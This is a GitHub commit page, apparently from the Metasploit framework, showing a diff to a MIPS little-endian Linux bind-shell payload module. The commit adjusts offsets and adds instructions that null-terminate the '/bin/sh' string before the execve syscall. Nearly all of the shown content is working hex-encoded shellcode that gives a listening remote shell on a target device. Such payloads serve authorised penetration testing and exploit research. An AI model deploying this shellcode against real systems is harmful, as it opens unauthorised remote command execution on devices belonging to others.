Skip to content

Commit bda7f68

Browse files
committed
Add zero byte on the end of the /bin/sh string
1 parent 2affb31 commit bda7f68

File tree

1 file changed

+6
-1
lines changed

1 file changed

+6
-1
lines changed

modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,11 +109,16 @@ def generate
109109
"\xff\xff\xd0\x04" + # LB: bltzal a2,LB
110110
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
111111
"\xff\xff\x06\x28" + # slti a2,zero,-1
112-
"\xdb\xff\x0f\x24" + # li t7,-37
112+
"\xc7\xff\x0f\x24" + # li t7,-57
113113
"\x27\x78\xe0\x01" + # nor t7,t7,zero
114114
"\x21\x20\xef\x03" + # addu a0,ra,t7
115115
"\xf0\xff\xa4\xaf" + # sw a0,-16(sp)
116116
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
117+
"\xf7\xff\x0e\x24" + # li t6,-9
118+
"\x27\x70\xc0\x01" + # nor t6,t6,zero
119+
"\x21\x60\xef\x03" + # addu t4,ra,t7
120+
"\x21\x68\x8e\x01" + # addu t5,t4,t6
121+
"\xff\xff\xa0\xad" + # sw zero,-1(t5)
117122
"\xf0\xff\xa5\x23" + # addi a1,sp,-16
118123
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
119124
"\x0c\x01\x01\x01" + # syscall

0 commit comments

Comments
 (0)